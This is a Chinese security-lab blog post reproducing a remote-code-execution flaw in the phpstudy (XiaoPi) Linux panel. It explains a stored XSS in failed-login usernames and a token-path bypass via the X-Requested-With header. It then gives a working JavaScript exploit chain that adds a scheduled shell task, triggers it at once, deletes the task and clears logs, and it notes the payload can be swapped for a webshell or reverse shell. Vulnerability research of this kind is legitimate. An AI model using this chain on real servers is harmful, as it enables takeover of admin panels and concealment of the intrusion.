点击蓝字,关注我们
编写日期:2023-02-10
发表日期:2023-06-15作者:Obsidian 介绍: phpstudy-linux
面板(小皮面板)RCE
复现。
0x01 前言
该漏洞首次在互联网出现大概是二月二日,之后在二月三日就已经有大佬公开了复现过程,在二月四日就已经有安全公众号发布了复现文章。
本文会尽可能详细地分析该漏洞的原因以及复现流程。
0x02 前期准备
2.1 安装环境
系统采用的是ubuntu-server-20.04
虚拟机,更换了阿里的源,根据小皮面板的安装要求,未单独安装apache,php,nginx,mysql
等组件。
2.2 安装小皮面板
使用官网给定的命令行安装方式:
wget -O install.sh https://notdocker.xp.cn/install.sh && sudo bash install.sh
默认安装路径是/usr/local/phpstudy/
。
安装完成后,根据提供的路径访问即可。
0x03 漏洞分析
该漏洞采用的是XSS+CSRF
的利用方式,系统本身存在存储型XSS
漏洞,在登录用户名处插入恶意代码,可在后台首页触发。
原因是首页集成了日志模块的功能,该功能会输出登录失败的用户名,但不存在任何过滤。
之后可利用后台本身的计划任务功能,可实现反弹shell
或者写入webshell
等利用方式。
简单的利用流程是:
1. 构造恶意js文件,在用户名插入
<
script
src
=
http://127.0.0.1/exp.js
>
</
script
>
2. 等待管理员登录
3. js自动触发,实现相应功能
接下来可以简单分析下该漏洞。
3.1 后台路径
在安装小皮面板的过程中,我们可以知道,后台会随机生成6
位授权码作为token
。
在实际测试中发现以下两点:
-
该
token
的取值范围是大写16
进制。理论的爆破上限是
1600W+
,基本无法实现。 -
该路径的校验方式是
包含
,并不是完全相等。假如
token
是AAAAAA
,那么/AAAAAA
,/AAAAAABB
,/BBAAAAAA
,/BB/AAAAAA/BB/
均可成功访问。
所以,通过爆破基本上是无法得知后台路径的。
通过分析/usr/local/phpstudy/web/service/app/model/Auth.php
代码可知:
// 是否是ajax请求
$isAjax = (
isset
($_SERVER[
'HTTP_X_REQUESTED_WITH'
]) && $_SERVER[
'HTTP_X_REQUESTED_WITH'
]==
'XMLHttpRequest'
) ?
true
:
false
;
$request = explode(
'?'
, $request_uri);
当HTTP
请求头中包含X-Requested-With: XMLHttpRequest
字段,会被系统认为是ajax
请求,从而无需认证。
毕竟不可能每个请求均带有token
路径。
所以,我们可以通过在HTTP
请求头中添加X-Requested-With: XMLHttpRequest
字段,来绕过后台的token
路径,直接访问登录页面。
3.2 验证码
小皮面板的功能流程大概是,前端请求后端,后端对数据进行加工处理,再通过socket
请求本地的8090
端口进行功能响应。
分析/usr/local/phpstudy/web/service/app/model/Account.php
的代码可知:
如果验证码错误,会直接返回,并不会触发socket
请求,也就不会保存到日志中。
所以,如果要插入日志,需要将登录的验证码输入正确。
3.3 漏洞本身
通过相关命令可以发现,8090
端口是通过/usr/local/phpstudy/system/phpstudy
这个ELF
文件开启的服务。
之后再使用tcpdump -i lo -w 1.pcap
命令来获取本地通讯的流量。
可以看到,内容本身是没有过滤的,并且web
的源码中也不存在过滤代码。
所以该漏洞仅仅就是因为简单的存储型XSS
漏洞而导致的。
0x04 漏洞复现
完善一下利用流程:
1. 访问9080端口抓包,添加X-Requested-With: XMLHttpRequest
2. 构造恶意js文件,在用户名插入
<
script
src
=
http://127.0.0.1/exp.js
>
</
script
>
3. 等待管理员登录
4. js自动触发,实现相应功能
RCE
的实现利用的是计划任务功能,我们可以通过抓包来获取具体的参数。
简单构造一下代码:
function step1(){
var
data
= new Object();
data
.task_id=
""
;
data
.title=
"1"
;
data
.exec_cycle=
"1"
;
data
.week=
"1"
;
data
.day=
"3"
;
data
.hour=
"1"
;
data
.minute=
"30"
;
data
.shell=
"echo MTIz|base64 -d > /usr/local/phpstudy/web/service/app/lib/1.php"
;
$.post(
'/service/app/tasks.php?type=save_shell'
,
data
,function(
data
){},
"json"
);
}
step1();
这里只是简单的写个测试数据,可替换成具体的webshell
内容或者反弹shell
的代码。
这时候成功虽然添加了计划任务,但是需要漫长的等待时间才能触发。
幸好后台提供了立即触发计划任务的功能,根据id
来执行对应的计划任务,id
是通过task_list
接口获取。
简单修改下代码:
function
step1
(
)
{
var
data =
new
Object
();
data.task_id=
""
;
data.title=
"1"
;
data.exec_cycle=
"1"
;
data.week=
"1"
;
data.day=
"3"
;
data.hour=
"1"
;
data.minute=
"30"
;
data.shell=
"echo MTIz|base64 -d > /usr/local/phpstudy/web/service/app/lib/1.php"
;
$.post(
'/service/app/tasks.php?type=save_shell'
,data,
function
(
data
)
{},
"json"
);
}
function
step2
(
)
{
$.get(
'/service/app/tasks.php?type=task_list'
,{},
function
(
data
)
{
var
id = data.data[
0
].ID;
$.post(
'/service/app/tasks.php?type=exec_task'
,{
tid
:id},
function
(
res
)
{},
"json"
);
},
"json"
);
}
step1();
step2();
这时候就实现了立即触发计划任务的代码,但是为了更加的“安全”,最好还是要清理下痕迹,比如:删除计划任务,清空日志。
最终代码:
function
step1
(
)
{
var
data =
new
Object
();
data.task_id=
""
;
data.title=
"1"
;
data.exec_cycle=
"1"
;
data.week=
"1"
;
data.day=
"3"
;
data.hour=
"1"
;
data.minute=
"30"
;
data.shell=
"echo MTIz|base64 -d > /usr/local/phpstudy/web/service/app/lib/1.php"
;
$.post(
'/service/app/tasks.php?type=save_shell'
,data,
function
(
data
)
{},
"json"
);
}
function
step2
(
)
{
$.get(
'/service/app/tasks.php?type=task_list'
,{},
function
(
data
)
{
var
id = data.data[
0
].ID;
$.post(
'/service/app/tasks.php?type=exec_task'
,{
tid
:id},
function
(
res
)
{},
"json"
);
},
"json"
);
}
function
step3
(
)
{
$.get(
'/service/app/tasks.php?type=task_list'
,{},
function
(
data
)
{
var
id = data.data[
0
].ID;
$.post(
'/service/app/tasks.php?type=del_task'
,{
tid
:id},
function
(
res
)
{},
"json"
);
},
"json"
);
}
function
step4
(
)
{
$.post(
'/service/app/log.php?type=clearlog'
,{},
function
(
res
)
{},
"json"
);
}
step1();
step2();
step3();
step4();
为了使代码更加简洁,可以进行一下合并:
var
data =
new
Object
();
data.task_id=
""
;
data.title=
"1"
;
data.exec_cycle=
"1"
;
data.week=
"1"
;
data.day=
"3"
;
data.hour=
"1"
;
data.minute=
"30"
;
data.shell=
"echo MTIz|base64 -d > /usr/local/phpstudy/web/service/app/lib/1.php"
;
$.post(
'/service/app/tasks.php?type=save_shell'
,data,
function
(
data
)
{
$.get(
'/service/app/tasks.php?type=task_list'
,{},
function
(
data
)
{
var
id = data.data[
0
].ID;
$.post(
'/service/app/tasks.php?type=exec_task'
,{
tid
:id},
function
(
res
)
{
$.post(
'/service/app/tasks.php?type=del_task'
,{
tid
:id},
function
(
res
)
{
$.post(
'/service/app/log.php?type=clearlog'
,{},
function
(
res
)
{},
"json"
);
},
"json"
);
},
"json"
);
},
"json"
);
},
"json"
);
需要注意的是,如果写入了webshell
,在访问时同样需要添加X-Requested-With: XMLHttpRequest
字段。
极限状态-复现失败
根据大佬所说,如果8090
端口开放到外网,可以直接通过socket
请求来完成计划任务步骤,实现直接RCE
。
测试发现,小皮面板安装后,默认屏蔽了大部分端口的访问,8090
端口默认并不开放,需要管理员在防火墙单独放行。
在放行8090
端口之后,通过本身的socket.php
代码,修改了一个登录功能的socket
请求,但返回内容是ip address deny
,具体原因不明。
由于并不了解逆向相关的技能,暂时复现失败。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。
原文始发于微信公众号(宸极实验室):『漏洞复现』小皮面板 RCE 复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论